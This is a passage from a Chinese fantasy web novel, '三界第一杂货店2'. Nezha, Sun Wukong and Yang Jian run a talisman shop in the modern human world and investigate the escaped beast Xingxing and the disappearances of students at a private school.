《三界第一杂货店2》
1. 狌狌
十一月的傍晚，夜幕浓重，寒风萧瑟。
本该寂静的街道响起一阵杂乱的脚步声，随即一个身影踉跄着脚步拐进了小巷。
那是一个身形瘦削的年轻男子，他一只手捂着胸口，一只手下垂，鲜血从他指尖一滴一滴落在地下，留下一条血痕。
身后追着他的那物越来越近，高出他两倍的身形充满了压迫感，十米，五米，一米，那只长满长毛的利爪眼看就要抓穿他骨头。
小巷尽头的门，开了。
“吱呀……”
韩全一个趔趄，倒在了地上。
他抬头，只看到一高一矮的身影站在门前，他看不清那两人的神色，却能感觉到他们对自己身后的东西并不惊讶或是害怕。
韩全放心地晕了过去。
“什么玩意儿？”哪吒眯着眼睛看着那几乎快要挤满整个巷子的庞大怪物，几步跳到韩全面前，看清了那怪物的全貌，“兔子。”
他轻哼一声，叉着腰站在原地，一点一点变大，一直到他的身形整个盖住了那只兔子，他才满意地点了点头，此时四周低矮的楼房已全数落在他眼里。
而那只本来想对韩全赶尽杀绝的兔妖，早已在闻到面前这两人身上压迫的味道时就住了手，此刻在哪吒高大身形的笼罩之下，它更是瑟瑟发抖。
“大人饶命，小妖……”
它话才起了个头，就觉得自己屁股一痛，整个妖飞了出去。
“竟然挡俺老孙的路。”这年头真是什么怪事都有了，竟然还有妖怪敢挡他齐天大圣的路。
孙悟空抬眼看着那妖怪飞得只能看到一个小黑点，才把手上转着的金箍棒收了回去。
却不想，才走几步路，又被挡住了路。他正要再次拿出金箍棒，就听到头顶传来熟悉的声音：“大圣，是我。”
他缓缓抬头看去，“这不是哪吒吗？你怎么挡在这里？”他尴尬地摸了摸自己的耳朵。
“大圣，我和二哥在抓妖怪。”哪吒变回原样，无奈地摇了摇头。
“哦？妖怪？”孙悟空转转眼珠，“俺老孙再去抓它回来。”
“不用了，哮天刚才已经跟着去了。”
孙悟空双手抱头看天，踢了踢脚边的韩全，“我就知道二郎小圣你做事周全。”
“先把人带进去。”杨戬率先走进了店里。
哪吒连忙跟着上去，还不忘嘱咐孙悟空：“大圣，他就交给你了。”
孙悟空蹲下身，把韩全的头掰过来左看看右看看，“这不是好得很吗？”
确定了这人没事，他拖起韩全的右脚，慢悠悠地往店门口走去，上台阶的时候，只听到头磕在石阶上的声音，在寂静的黑夜里格外清脆。
店门关上，只余下门边的店名晃荡着。
夜色之下，“三节第一杂货店”七个字散发着柔和的光芒，格外清晰。
而小巷里也只在路中央留着一条长长的血痕，一直到店门口。
韩全再次醒来的时候，本该全身疼痛的身体格外地轻松，那一声习惯性的呻吟还没出口就被满心的疑惑所取代，他几乎是在一瞬间就清醒了过来。
“你醒了。”沉静冷冽的男音在耳边响起。
韩全终于想起来，他从市区追着一只兔妖来到郊区，因为事发突然，他身上的符纸不够，再加上对此处地形不熟悉，竟然被那妖怪暗算，差点丧命。
情急之下他跑进了一条巷子里，意识的最后，是一高一低的两个身影站在门前。
韩全立刻就确信了，是眼前的男子救了自己。他撑着身子想坐起来，手上传来坚硬的触感，他一低头，发现自己是躺在地上的。
“他醒了啊。”一道童声传来，韩全顺着声音看过去，一个唇红齿白的小孩儿从后门走过来，不过半人高的身高，穿着一件黑色的皮夹克，同色系的工装裤和靴子，明明是一身酷炫的穿搭，却因为他的身高只显得可爱。
“多谢两位的救命之恩。”韩全向他们道谢。
“怎么只有两位？”柜台后面传出声音。韩全一愣。
这屋子里三个人，一个坐在角落里，支着一张桌子看书，一个从后门进来，一个躲在柜台后面一直没出声，他转头的功夫，就把这屋子打量了个大概。
这应当是一家店铺，屋子左右两面打满了柜子，中间也立着一排柜子，门边的位置立着柜台。只是韩全看不出这家店铺是卖什么的，但这三人想来并不简单。
他改了口：“多谢三位的救命之恩。”
“不用不用。”柜台后的那人终于露出了面容，是一张很年轻的面庞，眉目精致，却并不女气，反而透着狡黠，双手撑在柜台上，身子微微前倾对他说这话的时候，还带着些不好意思。
而他身旁的男子也缓缓走到了柜台边，这男子身形挺拔，如一棵青松，携带着清晨的晨露，令人不敢靠近。而当韩全在他转过身来终于看清他的脸时，心底更是一阵恍惚，这世间的美大抵真的是不分男女的，面前的男人轮廓锋利，神情深邃，却又无端地透露出让人安心的气息。
韩全联想到自己身上已完全痊愈的伤，不自觉开口询问，“敢问三位是哪一门派的前辈？”
“什么门派？”哪吒走到杨戬旁边，仰头疑惑地反问。
韩全一顿，换了个问法，“那请问三位的名字是？”
哪吒立刻来了兴致，不知从哪里掏出一副墨镜戴在脸上，双手插兜，一脸冷酷道：“我姓李，你可以叫我——哪吒。”
他还非常好心地顺便介绍了身后的两人：“我左边这个，是我的大哥，他姓李，叫孙悟空，右边是我二哥，也姓李，叫杨戬。”
韩全：……
这已经不是越级碰瓷了，是登月碰瓷吧！
他一时不知道自己应该做什么表情，就那么直愣愣地站在原地。
哪吒等了许久也没见他有什么惊讶或者好奇的神色，一把取下眼镜，翻身跳到柜台上坐下，质问他：“你就没有什么想问的？”
“请问我的伤是怎么治好的？”
杨戬安抚地拍了拍哪吒的手臂，对另一边的孙悟空道：“大……哥，拿一下算盘。”
韩全只看到那双修长好看的手拿着算盘，在上面随意拨弄了几下。
杨戬抬头，正对上韩全好奇的目光，“你的医药费总共是四万三千八百零四块七毛。”
“抹个零，四万三千八百零四块。”孙悟空补充道。
“你……”真的认真算了吗？韩全对着面前三人一致平静的目光，余下的话吞了回去，不自觉地后退一步，改口道：“我身上一时拿不出那么多钱，可以先打个欠条吗？”怕他们不信自己，他甚至还摸出身上的身份证：“我先把身份证压给你们，过两天我一定来付钱。”
韩全本来还以为自己遇到了好心人，却不想这三人是打算在他身上赚一笔大的。
他心想，自己可是归一派最可爱的小师弟，只要他顺利离开了这里，他就一定带着师兄师姐他们来把这家黑店踏平！到时候……
“不用付钱。”
韩全的思绪被打断，他惊讶地瞪大眼睛：“不用付钱？”难道真的让他遇到心软的神了？
杨戬抬手示意韩全去看店里的柜子，他手里的算盘随着他的动作发出碰撞的声音。
“杨小二这是什么意思？”同样
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疑惑的孙悟空低声问哪吒。
“我也不懂。”哪吒摇头，“但他这样做自然有他的打算。”
“俺老孙可是亲手为他治疗的伤口，怎么能不让他付钱。”
哪吒嘴角抽了抽，“大圣，是你先给他头磕破了的。”
“我又不是故意的。”孙悟空悻悻道。
而另一边看明白了这店铺到底是卖什么的韩全似有所感地摸了摸自己的额头，对杨戬道：“你们这店铺，开在这里想必是没什么生意的吧。”
杨戬点头，“我们兄弟三人三个月前开了这家店铺，却发现这地方少有人来，所以，开店至今，小店还未有生意。”
“这是郊区，更何况你们卖的还是这些东西，修道之人若非必要，是不会来这地方的。”人人都觉得人烟稀少的地方容易招惹非人生物，其实不然，有时真正安全的反而是无人之地。
“所以想请你帮我们这小店打个广告。”杨戬悠悠道：“我这里卖的符纸，一定比外面好，价格也比外面更便宜。”
“我……”韩全张了张嘴，“怎么帮？”
杨戬拉开他旁边柜子的抽屉，随手从里面摸出三张符纸，“你只需在一周后的试炼大赛上用完这三张符纸就行了。”
韩全接过那三张符纸，黄色，朱砂画的符号，折成三角形，和他先前用过的任何一张符纸都没什么区别，而一周后是一年一度的门派试炼大赛，玄学界各门派都将派出代表去参加此次大赛，归一派今年派出的参赛人就是他。试炼大赛是真正地去往异常之地，也就是说他们会面临真正的危险，他不知道这三枚小小的符纸，能起什么作用。
杨戬看穿他的心中所想，却并不拆穿他，只是说：“若你下次带了其他人来，我还可以送你三枚。”
韩全抿唇，心下思量着他说的话，又问：“只需要我用完符纸就行了？不用我给你们宣传什么的？”
“不必。”杨戬回他，“如果你答应了的话，可以离开了。”
韩全闻言，点了点头，“好。”不过是三枚小小的符纸，于他并没有什么坏处。倘若这三人有心要害他，也不会特意救他了。
他拿着符纸向门口走去，路过柜台的时候，又转头对孙悟空和哪吒道：“无论如何，还是多谢你们了！”
孙悟空摸了摸鼻子，讪讪道：“不必不必，你记得答应杨…二弟的事情就是了。”
“三位放心，我一定记得。”说着，他走出了大门。
身后的门又合上了，韩全走下台阶，天色朦胧中他神色恍然地转头，天还没亮，他在这里待了竟还没有一夜。
散发着柔和光芒的店名直直地闯入了韩全的眼底，他嘴角一抽，这三人，还真的是将碰瓷进行到底了。
再一转眼看到门边立着的那块木板，白纸上八个大字映入眼帘。
相信科学，破除迷信。
韩全抹了把脸，小声嘀咕，比我还爱装x。
他深觉自己遇到了对手，摇了摇头准备离开，一转头差点当场跪下。
一条白色的细犬蹲坐在他面前，嘴里叼着一只灰色的兔子，神色凶狠地盯着他。
韩全不自觉地瑟缩了一下脖子，“狗爷，您请。”他让开路，狗爷却并不给他面子，依然一动不动地坐在原地。
“那我先请？”他移了两步，只见狗爷也跟着他移动。
韩全：……
屋子里此时传来声音，“哮天，进来。”
声音模糊，韩全听不清杨戬到底说了什么，只看见那狗听话地绕过他进了屋。
韩全松了一口气，把手心里的三枚符纸揣进兜里，逃也似地离开了这个地方。
2. 狌狌
哮天犬衔着那兔妖进了屋，屋内的三人已经到了角落里里的桌边，桌上是杨戬泡的茶，氤氲着热气，在明亮的室内袅袅消散。
哮天犬将兔妖放到杨戬面前，杨戬伸手轻轻拍了拍他的头，夸他：“好孩子。”
哮天犬满足地蹭杨戬的手。
一旁的孙悟空眼珠子滴溜溜转一圈，也伸出手想摸摸他，“哮哮真是一条好狗。”哮天犬傲娇地一扭头，躲过他的手趴在了杨戬腿边。
孙悟空也不生气，依然笑着夸他：“好狗。”
哪吒将茶一饮而尽，清了清嗓子，询问地上装死的兔妖，“你可知你犯了什么错？”
地上灰毛长耳的兔子不吱声。
孙悟空说：“死了？那就赏给我们哮哮吃了吧。”
哮天犬嘴里发出低沉的吼声，表达抗议。却吓得那兔妖耳朵一抖，连忙虚弱地开口，“大人……大人饶命啊！小的知错了。”
杨戬淡淡地看他一眼，对他道：“抬起头来。”
兔妖耳朵抖了抖，颤巍巍地支撑起自己的双腿，抬眼看着眼前的三人。
分明方才还是无所谓的三人，在看到他眉间散发出的淡得几乎快看不见的红光时，神色纷纷变得郑重起来。
孙悟空眯了眯眼，冷声道：“你这小妖可不老实。”
兔妖连连否决：“老实的老实的，大人，我是我们村最老实的兔子。”
哪吒一直皱眉看着他的眉目之间，直看得这兔妖声音低了下去，讪讪为自己辩解：“我只偷过一次东西……”
“你这几日去过哪些地方？”哪吒开口问他。
兔妖不解：“大人，小妖每日去的地方可就多了，您是想知道哪里，可否说个具体的？”
杨戬低头喝茶的动作停住，转头盯着他，“是吗？”
兔妖心下一震，只觉得自己的五脏六腑都差点炸开，腿也软了下去，“小妖……昨日去了城内的南东中学。”
那是一所私立高中，在里面读书的学生非富即贵，也有一些成绩异常优异的平常人家的孩子作为特招生被招进去。
兔妖叫红原，上百年前他就已经修炼成人，那时他被一个道士收拾，差点打回原形，是一个农户阴差阳错地救了他，让他保住了一身修为。作为回报，红原一直在暗中保护他的后代。今年那个农户的曾孙被南东中学招了进去，他听周围的人说那个学校的有钱人会欺负平常人家的孩子，他很担心，但帝都这地方，卧虎藏龙，他一个普通的小妖怎么敢在城内一直待着？所以他都是隔一段时间去看望那孩子一次。所幸那孩子在学校过得很好，不论是生活还是学习都很顺利。
前两日他照例去看望那孩子，却在器材室里窥见一个东西——那是一个不过拇指大小的玻璃瓶，寻常人看它只当里面什么也没有，但红原是妖怪，他看到了那瓶子里活跃的红色气体，那么绚烂，那么有吸引力，他鬼使神差地将它偷走了。
许是第一次做这种事情，他心虚得紧，还没跑出学校，就不小心将瓶子打碎了，他心底害怕极了，却不想那团红色的气体，一下子就窜进了他的身体里。
“后来，我在路上遇上了那小道士，他不知为何一直追着我不放，我吸了那团奇怪的气，根本控制不住自己。”控制不住自己的速度，也控制不住身体里那在他五脏六腑乱撞的气息。
“三位大人明鉴，小妖真的没有想杀那小道士，当时……当时我真的控制不住我自己。”红原还有句话没说，本来以他的法力，是根本不可能打得过那小道士的。
面前的三人却并不接话，红原以为他们不相信自己，伸出爪子对天起誓：“我若有半句假话，就天打雷劈。”
孙悟空冷哼一声：“雷公那老头儿可没空听你说这些。”
杨戬大掌在他身上一挥，随即道：“你走吧。”
“啊？”红原有些不敢相信自己的耳朵。
哪吒不耐烦地伸脚想踹他：“哪儿凉快哪儿待着去，别想在这里蹭吃蹭喝。”
“是是是，小的这就走！多谢三位大人！”红原看着那只因为长度不够而没能踹到自己身上的脚，连忙缩着身子飞快地跑走了。
他甚至都不敢回头，所以也就没看到杨戬摊手展开的那团红色气体。
那气体的颜色已经越来越淡，眼看就要消失了。
“二哥，那我们需要去这个学校走一趟吗？”哪吒眯眼问道。
“现在就可以去。”孙悟空迫不及待道。
杨戬没有答话，抬手打掉那最后一点气体，“只怕不是在学校。”
剩下的两人反应了一下，哪吒率先开口：“就算不是在学校，也一定和学校里的人有关。”
孙悟空抓了抓耳朵，问杨戬：“你是觉得灵气太少了？”
“人间界的灵气正在逐渐枯竭，如果狌狌兽在学校的话，那些修行之士不可能发现不了。”
“是的。”哪吒喃喃道，“可是那一点灵气，能有什么用呢？”
“小藕片儿，话可不能这么说。”孙悟空摆了摆手，“在仙界，自然没人看得上那点灵气，但于人间界而言，灵气可是能救命的。”
对妖怪和修行之人来说，大荒异兽的灵气，更是如同仙丹妙药。
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>但是至少到如今都没有传出过关于这个学校的任何传言，那他就一定不在学校里。
“但是这个学校，我们确实可以去一趟。”
“怎么去？”哪吒懵懂道。
孙悟空和杨戬对视一眼，齐齐把目光投向哪吒。
哪吒顿觉不妙，连忙起身后退，“我只是一个小学生！”
“你是一个天才。”杨戬缓缓道。
哪吒：“……”
看得出来此事已成定局，哪吒仰头长叹一口气，选择转移话题：“大圣，《山海异闻录》你可带着了？”
“自然自然，一直带在身上。”说着，孙悟空翻手将书摆在桌上。
一阵悠然的光芒过后，一本厚厚的黑色古书躺在桌上，古朴而安静，仿佛充满了神秘力量。
“大荒境内的异兽逃离到人间界这件事一直是个谜，若此次我们能抓住狌狌兽，说不定就能解开这个谜团了。”哪吒蹙眉说道。
事实上，人间界近几百年来与仙界的联系已在逐渐被有意识地隔断，人间界的人已经不再相信神的存在，而仙界的众多神仙也已不再需要人的信仰之力来供奉，人间界也已许久不再有人飞升，仙界众神一致觉得既然如此，那不如两界之间互不打扰，除了必要的业务往来，众神仙已有许久不曾来过人间界。
一直到人间界的几个月前，大荒境内的守护神突然来报，说大荒异兽逃往人间界，不知数量。
大荒是于杨戬三人而言都很遥远且陌生的存在，早在几万年前就如同如今的仙界一般，断绝了与外界的一切联系。而他们所听说的大荒，是各种奇形异兽的地盘，至于战斗力，在弱肉强食中生存下来的野兽，谁敢小觑？
即便是他们三人，也不敢保证自己在面对这些几十万年前就已经存在异兽时，百分之百地胜券在握。
杨戬垂眸：“人间界的事情不该由我们和他们插手。”
三界六道之事都自有他的定律，哪怕他们是神仙，也不能决定任何人的命运。从很多年前开始，他们就变成了人间界的旁观者。
哪吒却摇头：“二哥，我们既已来了人间界，就不可能袖手旁观。”
孙悟空懒散道：“小哪吒说得对。人世间的苦难纵然与你我无关，但若是看到了，终归还是要管一管的。”
“自然。”
无人再言语，杨戬翻开眼前的书，入目第一页写着：“南山之首曰?山。其首曰招摇之山，临于西海之上。有兽焉，其状如禺而白耳，伏行人走，其名曰狌狌，食之善走。”
“食之善走”——杨戬的目光落在这几个字上。
3. 狌狌
周五，正是放学的时候，校门口挤满了人和车，来接孩子的大人，刚放学的学生，趁此机会大赚一笔的摊贩，以及各种让人眼花缭乱的豪车。
“哪吒，你哥哥在哪里啊？”
角落里不起眼的小摊旁边，站着一高一矮的两个学生，大的那个高高瘦瘦，一头清爽的短发，俊秀的面庞流露出疑惑的神色，而站在他旁边的小孩并没有回答他的话，动作迅速地剥着板栗，一个，两个，三个……直到嘴里再也没有空隙，他才仰头眨巴着眼含糊回道：“唔不几道啊。”
“啊？那你一会儿……”
“嘉凡！”
徐嘉凡没问完的话被打断，他看向马路对面的母亲，却并没有第一时间走向她，而是犹豫着看向身旁，“要不然你先和我回家？等去了我家再打电话给你哥哥，让他来我家接你。”
哪吒慢吞吞道：“不用了。”他用手抓住徐嘉凡提着的板栗袋，问道：“你是不是不想把东西给我？”
徐嘉凡哭笑不得：“我愿赌服输好吧！”他撇撇嘴又小声嘀咕：“还不是为了让你好好吃几个板栗。”
哪吒假装没听到他的话，一手紧紧抓着口袋，一手挥了挥，“行了你赶紧回家吧，注意安全。”
徐嘉凡还想说什么，他手机又响了起来，是他妈妈打来的。他迟疑了两下，迅速接完电话后把手机塞进哪吒手里，“密码你知道的，一会儿有事给我妈打电话，我回来接你。”
他看着这个矮小又面容精致的小孩儿，心里实在担心。
哪吒拿着手机眼睛一亮，笑眯眯回应他：“好的。”
等徐嘉凡走了，旁边一直好奇的摊主终于探过头来，“诶小朋友，你怎么穿着南东中学的校服？”
哪吒低头剥板栗，“因为我在这里读书。”
“哦……”摊主恍然大悟，“你就是上周刚转来的那个神童是吧？”
“应该是。”
哪吒迅速地挪了脚，打断了他还想继续问下去的话。
他剥板栗的速度越来越快，一边剥嘴里一边念念有词：“该死的杨戬，该死的孙悟空，看我明天就把这个破学校拆了。”
等他终于吃完了手中的板栗，校门口的人也走得差不多了，他将口袋往垃圾桶里一扔，拍了拍手就准备走了。
谁稀罕有人来接啊！这些人类小屁孩儿。
“哪吒。”清朗的声音从身后传来，哪吒转过头，校门口的另一边，杨戬牵着哮天犬，孙悟空站在他旁边，笑着对他挥了挥手。
哪吒愣神的功夫，两人已经走到了他面前，“小藕片儿这是读书读傻了吧？”孙悟空上下打量他，“你穿这个衣服真像个小孩儿。”
哪吒怒目对他：“你才傻！”
孙悟空还对他身上这件衣服感到新奇，“好好好我傻。怎么这些人类小孩儿都跟你穿一样的衣服？”
“这叫校服，只要是这个学校的学生都得穿这个才能进学校。”
“回家吧。”杨戬打断他们。
三人循着人行道走，还没走几步，又听身后有人喊道：“哪吒！”
三人转头，哪吒诧异道：“你好！”
身量高挑的女孩儿披着长发，背着一个可爱的小熊书包走过来，对哪吒露出友善的笑容：“哪吒，你好，我是你的同班同学林陌桑。”
她解释道：“徐嘉凡打电话跟我说你家长没来接你，让我看看你走了没有。我家司机刚到，你家在哪里？我送你回家吧。”
“不用了，我哥哥他们已经到了。”哪吒拒绝道。
林陌桑这才抬头注意到他身后的两人，她先是一顿，随即眼睛一亮，“那我送你们三个一起回家！”
哪吒不理解她这突如其来的热情是为什么，自然也是要拒绝的，只是话还没出口，就被人打断了。
“好啊，那我们就不客气了！”孙悟空快速做了决断。哪吒不解地盯着他，见他不理自己，又移眸看向杨戬。
杨戬颔首，“听大哥的，只是……”他拉了拉手里的狗绳，略带歉意的看向林陌桑，“我们还带着狗，会不会不太方便？”
林陌桑把手往哪吒头上一放，笑得更开心了，“没事哦，我家车很大的。”
哪吒无奈地吹了吹因为她的动作耷在额角的碎发，无精打采道：“那谢谢你了，林同学。”
“哥哥，我可以摸摸你的狗吗？”
“它叫什么名字啊？”
“它好干净啊。”
“它喜欢吃什么零食？下次我给它买来。”
“……”
车越开越偏，林陌桑的嘴巴就没停过。
孙悟空和杨戬不时地回答她的问题，把她逗得哈哈大笑。
她转头戳了戳坐在她旁边的哪吒的手臂，“哪吒你怎么不说话？”
孙悟空双手枕头，笑眯眯解释：“他从小就不爱和我们说话。”
“啊……”林陌桑流露出担忧的神色。
一直到他们三人下了车林陌桑都没有再说话，等到她看着那兄弟三人走进破败的小巷子里，她的眉头皱得更紧了，嘴巴紧紧地抿成一条线。
“哪吒！”
三人回头，林陌桑趴在车窗上，大声问道：“明天我来找你玩可以吗？”
哪吒诧异。
孙悟空点头：“可以可以！”
“那就说定了哦！”
车开走了，哪吒手往腰上一叉，“我才不去！”
“那我替你去。”孙悟空毫不在意。
哪吒还欲说什么，徐嘉凡的手机在兜里响了起来。接完电话，他轻哼一声，“我自己去。”
杨戬摇了摇头，问他：“手机哪里来的？”
“徐嘉凡怕我走丢，把他手机借给我了。”他撇撇嘴，“明天我还他手机。”
孙悟空笑眯眯道：“小藕片儿交朋友喽。”
杨戬说：“他们都是好孩子。”
哪吒：“我才不会和坏孩子一起玩。”
身旁的两人都向他投来质疑的眼神。
“你们什么意思？”
杨戬轻咳一声，还是抬手掩了一下嘴角的笑意。孙悟空往前大步一走，留给两人一个颤抖的背影。
“不许笑！”哪吒一副小猫被踩着尾巴的样子。
但很显然那两人并不是很听他的话。
林陌桑第二日果真来找哪吒，和她一起同来的还有徐嘉凡和另外两个女生。
车依然停在巷子口，林陌桑带路，几人往巷子里走去。
等走到门口，看清店门边立着的那块牌子，
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几人都不由得睁大了眼睛。
徐嘉凡转头问林陌桑：“你确定是这里？”
林陌桑肯定地点了点头。
徐嘉凡见状，只能硬着头皮去敲门了。
另外两个女孩子站在他们身后，其中一个女孩神色严肃地看着徐嘉凡的动作，如临大敌。
林陌桑发现了她的异常，退后两步握住她的手，有些担忧地问道：“青竹，怎么了？”
被她唤作青竹的女孩留着干净利落的短发，小脸略微苍白，被林陌桑和吕淼淼左右紧紧拉着手，她露出安抚的神色，摇摇头说：“我没事，只是有些冷。”
冬天的早晨，又是站在风口上，即便穿得再厚，一呼一吸之间还是难免会吸进冷气。
想到叶青竹的身体，吕淼淼细声道：“桑桑，我和青竹去车上等你们吧。”
“行。”
吕淼淼挽着叶青竹去车上，两人刚关上车门，徐嘉凡面前的门就打开了。
男人眉目俊朗，穿着黑色的大衣，明明是大清早刚起床，却有些风尘仆仆的意味在身上。
杨戬没有请徐嘉凡和林陌桑进屋坐，而是说：“哪吒马上来了，请你们稍等一会儿。”
话音刚落，哪吒就从屋子里冲了出来，他穿过杨戬的身旁，扔下一句“二哥我们走了”，就拉着徐嘉凡和林陌桑两人头也不回地走了。
见着他们上了车，杨戬目光变得幽深，孙悟空领着哮天犬也从屋子里出来，他蹲下身揉了揉哮天犬的脑袋，柔声问他：“乖狗狗，闻清楚了吗？”
哮天犬呜咽着摇了摇头。
昨天他们回来的时候还没有在林陌桑身上感受到灵气的波动，昨夜三人又出门去巡查了一趟，差点忘了哪吒今日和同学有约，幸好孙悟空在店里放了个分身，在徐嘉凡敲门的时候提醒了他们。
杨戬一开门就感受到了那一缕淡淡的灵气，和那天那只兔妖身上的灵气一模一样。
他垂下眼睑，会是谁呢？
孙悟空也眯了眯眼，但最终还是摇头，“太淡了，好像谁身上都有。”
“也许，他们自己都不知道。”杨戬低声道。
孙悟空拍了拍他的肩膀，“放心，小藕片儿机灵得很。”
车一路向游乐园驶去，哪吒和徐嘉凡坐在中间一排，三个女孩儿一起坐在最后一排，叶青竹靠窗坐着，她的脸色已经恢复正常，甚至略带好奇地看着哪吒，问道：“哪吒，你们家是做什么的？”
哪吒眨了眨眼，认真答道：“卖杂货的。”
徐嘉凡惊奇道：“那种地方有人去买东西吗？”
“有缘人自然会去。”
“……你们兄弟三人还没饿死真是神奇。”
徐嘉凡的这句话成功逗笑了三个女孩子。
哪吒轻哼一声，不想跟他一般见识。
神仙，怎么会被饿死！
叶青竹眉眼弯弯，道：“那改天我们一定要去看看，做一下这个有缘人。”
吕淼淼和林陌桑连连点头表示同意。
哪吒也笑，只是垂下的低垂的眼眸中流露出疑惑的神色。
为什么，车上的每一个人身上都有狌狌的灵气，即便微弱得令人抓不住，却一直都在。
是谁？或者，是谁的亲人？
4. 狌狌
周日的晚上，空旷的杂货店里突然响起刺耳的铃声，风从门外穿堂而过，一道身影已经移到柜台前。
杨戬接起电话：“你好，请问你是？”
电话那边传来疲惫的女声，“你好，请问是李哪吒的家长吗？我是他的班主任关老师。”
得到肯定的答复后，关老师说道：“是这样的，学校教学楼出了点小状况，要停课整改，具体时间还不确定，所以这段时间需要学生在家自学，等到开学的时候我再通知你们。”她顿了顿，“一会儿我拉您进家长群，有任何事宜我都会在群里通知的。”
“好的，谢谢老师。”
杨戬挂了电话，屈指敲击着桌面。
哮天犬坐在他脚边，并不发出声音，而是安静地等着他思考结束。
哪吒从屋外风风火火地进来，“二哥！林陌桑失踪了。”
孙悟空跟在他身后，“小藕片儿的同学说，就在学校失踪的。”
哪吒脸色难看，“我们得去一趟学校。”
杨戬目光微冷，“走！”
是夜，大雪飘飘扬扬地落下，掩盖了一切的杂乱，大地静谧无声。
三人落在校门口，皆露出惊讶的神色。孙悟空上前伸手一摸，细细的波纹从他手掌心周围开始扩散。
“果真有人设立了屏障。”他对两人说道。
杨戬闭上双眼，眉间闪出白色细长的光来，须臾，他睁开眼睛，“是人间界的……修行者。”他甚至还在这些人里看到了一个眼熟的人。
孙悟空和哪吒对视一眼，这件事比他们想的还要不简单。
但那又如何？
“走吧。”孙悟空率先穿过了屏障，杨戬和哪吒紧随其后。三人闲庭散步般走在校园的大道上，仿佛没有人知道他们进来了。
校园的中心是教学楼，平日里本该灯火通明的大楼此刻幽静得可怕。纷纷扬扬的雪花落在楼前的操场上，一层又一层。
操场上站着的几人正在低声商量着什么。
“我们应该先从宿舍楼开始查的。”年轻的男子抓了一把自己的头发，烦躁地说道。
他身旁的女孩耸了耸肩，无奈道：“这又不是我们能选的。”
韩全将手放在兜里搓了搓，冷静道：“既然都来了，我们就先去教学楼查探一下吧。”
玄学界每年都会举办一次门派试炼，试炼对象就是他们这些门派里的小辈们，每个门派都得排出一至五人参加，报了名再重新与其他门派的弟子重新组队。试炼地点无非都是一些有特殊事件发生的地方。今年的试炼地点本来在市郊的一个度假村，却不知为何今日临时通知他们来了这个学校，且任务简单明确——找到林家今天在学校丢失的小女儿。
“其实这已经不是南东中学第一次有学生在学校里不见了。”计明秀划拉着手机，哈出一口白气，神色严峻地说道。
“我从微博、贴吧上看到，几乎每隔一两个月就会有学生从学校——消失。”
韩全疑惑：“没有人来学校闹过吗？”
于飞白从计明秀手中拿过手机翻看了几秒钟，脸色微沉，“这个学校每年都会招收大量的贫困生——成绩好的，或者，成绩不好但是有特长的。”穷人，好打发，又翻不起什么风浪。
“不对，不对……”计明秀总觉得哪里不对劲。
韩全当机立断，“我们先去教学楼看看。”
教学楼没有开灯，但并没有断电，他们从一楼开始搜查，但什么都没有发现。
一直到三楼的最后一间教室，于飞白和韩全进了教室，计明秀举着手机在班级文化栏前仔细地查看着什么，看了好一会儿，她突然大喊道：“我知道了！”
“什么？”
韩全和于飞白从教室里出来。
“我知道了。”计明秀声音颤抖，“从一楼到三楼的每一个班级，我都看了一下他们的班级合照。”她深吸一口气，以此让自己镇定下来，“你们过来看。”
她指着照片上的一男一女，“看出什么了？”
“这……”于飞白定定地看了一会儿，没有看出这两个人除了好看之外的其他特点。
韩全抿唇，良久张嘴，“这两个学生，很漂亮。”
漂亮——是的，这是他们三人看到这两个学生的第一印象，哪怕大家都穿着同样的校服，留着同样的发型，这两个孩子依然长相出众，甚至有些耀眼。
计明秀掏出手机，“这是一年前南东中学贴吧里最火的一个帖子，这个帖子里讲的就是他们两个。”她迅速地划拉着手机，总算在一句句“磕死我了”中找到了两个人的照片。
随即，她又找出另一个帖子，“这是上个月有人发的，询问他们两个人的去向。”
帖子下面有人回复说男生已经出国，女生退学了。
对于这中间发生的事情他们不得而知，但是计明秀给他们看最新一条回复，是今天下午五点刚发出来的——「可是我已经很久没有联系到卫薇了」。卫薇就是那个女生的名字。
“我一路从一楼看上来，每一个在网络上提到的——被送出国的、退学的、生病的学生，都有一个特点。”
他们三人同时开口：“都很漂亮。”
不论男女。
所以计明秀说得没错，这些学生，或许真的都是消失了。
气氛顿时变得凝重起来。
韩全当机立断：“我们得把这个消息告诉大家。”
计明秀和于飞白点头，韩全开始打电话。
电话很快就接通了，那边听完他的话，说：“韩师弟，你们一切小心，这个学校不太对劲。”
等挂了电话，计明秀已经在群里看到了各个小组发来的消息。到了这个时候，一切早已经不是比赛那么简单，他们要开始信息共享了。
计明秀说：“宗师兄拍了宿舍那边的照片过来，他说有的宿舍根本不像学生在住。”
韩全放大图片，也深觉奇怪，“这个宿舍，未免太过干净了些。”不像学生的宿舍，更像是特意为谁打扫过一样。
“飞白……”韩全抬头，走廊上除了他和计明秀，哪里还有其他人的身影。
韩全连忙走进教室里，却也不见人影，他在走廊上四处看了看，大喊道：“于飞白！”
计明秀从旁边的教室走出来，“不在。”
她舔了舔自己发干的嘴唇，“韩全，我们得去找宗师兄他们。”
于飞白就在他们的身旁无声无息地消失了。计明秀不敢说自己是玄学界最优秀的弟子，但作为门派里数一数二的存在，还从未有任何鬼怪能悄无声息地接近她还从她身边掳走同伴的。
韩全显然也想到了这一点，他迅速在群里发了消息，得到去楼下操场集合的通知。
“走。”
把手机放在兜里的瞬间，他感受到一股热量从指尖传来，他手指动了几下，从兜里掏出三张符纸，正微微发着光。
“这是？”计明秀愣愣地看着他手
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里发光的符纸，不怪她愣住，实在是这符纸的灵力太强，让人无法忽视。
她有些生气道：“有这种好东西你不早点拿出来？”
韩全纳闷儿：“我不知道啊。”他都快忘了自己跟杨戬做的交易了。
但是他终于确定，自己那天大概是真的遇上厉害人物了。
“来，咱俩一人一个。”他把符纸分了一个给计明秀，“剩下的这个，到时候给飞白。”
两人心情沉重地下楼。
他们现在甚至连是谁掳走于飞白的都不清楚。
计明秀低声说道：“他一定还在这个学校里。”
整个校园都在他们布置的屏障之内除了他们，谁也进不来出不去，屏障也并未被破坏，说明掳走于飞白的人本来就在学校里，整个玄学界每一个门派都在弟子在这里，就不信还找不到一个人。即便他们找不到，还有师父他们，就算掘地三尺，也得把人给找出来。
“现在最要紧的还是那些孩子。”
这个任务早已经不是找到一个林家小女儿那么简单了，他们更担心那些更早时候从学校里消失的孩子，不知他们是死是活，亦或者，他们会不会遭受比死更痛苦的事情。
两人脑子里闪过那一张张明媚的脸庞，心里更加压抑。
“唉…”计明秀长叹一声，“真希望这个时候有神仙来帮帮我们。”
韩全却脚步一顿，立刻捂住了计明秀的嘴，小声道：“有人。”
